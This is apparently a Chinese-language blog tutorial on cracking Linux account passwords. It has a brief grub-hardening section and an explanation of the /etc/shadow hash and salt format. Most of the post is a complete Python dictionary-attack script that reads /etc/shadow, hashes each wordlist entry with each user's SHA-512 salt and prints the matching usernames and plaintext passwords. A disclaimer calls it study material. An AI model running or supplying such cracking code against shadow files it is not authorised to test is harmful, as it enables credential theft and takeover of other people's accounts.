Python之暴力破解linux账户密码

【温馨提示】

(所有有关安全入侵防范知识仅供自己参考学习,未经别人允许入侵别人系统是违法的!)

Tips:

* grub-md5-crypt(获取MD5 加密)
* md5sum fileUrl(对文件MD5加密)
* grub-crypt    (SHA-512 加密)
* CentOS6以上用户的密码加密为:SHA-512

一、Linux系统加固

1.如何使用更加安全的方式为grub引导菜单加密?
》》grub-crypt(获取SHA-512密文)
》》cd /etc/grub.conf
》》password --encrypted [以上的密文] (位置在hiddenmenu下)
 
2.分析密码生成的特点
A.通过 man 手册查看crypt
    》》man crypt
B. $ id $ salt (盐值)$ encrypted(加密的密文)
     //盐值:由[a-z1-9A-Z./]随机字符串混合加密算法所产生的密码值
       作用:使同一种同种加密方式所产生的密文不同

二、破解准备:

* 获取/etc/shadow文件
* 准备本地字典(passwd.txt【注意字典最后一行的回车】)
* 为方便观察将我本地用户Kevin密码改为123456
  》》echo 123456 | passwd --stdin Kevin

三、破解代码:

#!/usr/bin/env python
#coding:utf8 
import crypt

# 获取shadow文件并赋给变量user_pwfile
user_pwfile = "/etc/shadow"
# 定义获取密码函数get_pw()
def get_pw(u_p):
    # 定义用户名和密码对应的字典
    user_pw = {}
    # 读取shadow文件
    f = open(u_p,'r')
    userline = f.readlines()
    f.close()
    for l in userline:
        # 筛选掉系统用户
        if len(l.split(":")[1]) > 3:
            # 将用户和密码加入字典user_pw
            user_pw[l.split(":")[0]] = l.split(":")[1]
    return user_pw

# 获取本地字典集文件并赋给dicti
dicti = "/kevin/passwd.txt"
# 定义读取本地字典集函数
def get_dic(g_d):
    f = open(g_d,'r')
    mw_dic = f.readlines()
    f.close()
    return mw_dic

# 定义主函数
def main():
    # 主函数中用户名和密码(字典)
    user_passwd = get_pw(user_pwfile)
    # 主函数中本地字典集
    mw_dic = get_dic(dicti)
    # 循环出用户键名
    for u in user_passwd:
        # 获得每个用户密码
        passwd = user_passwd[u]
        # 获得每个用户盐值
        salt = "$6$" + passwd.split("$")[2]
        for pw_mv in mw_dic:
            #rstrip()去除空行(\n)
            if passwd == crypt.crypt(pw_mv.rstrip(),salt):
                print("用户名:%s 密码:%s" %(u,pw_mv.rstrip()))

if __name__ == "__main__":
    main()

四、验证结果

这里写图片描述

你可能感兴趣的:(Python)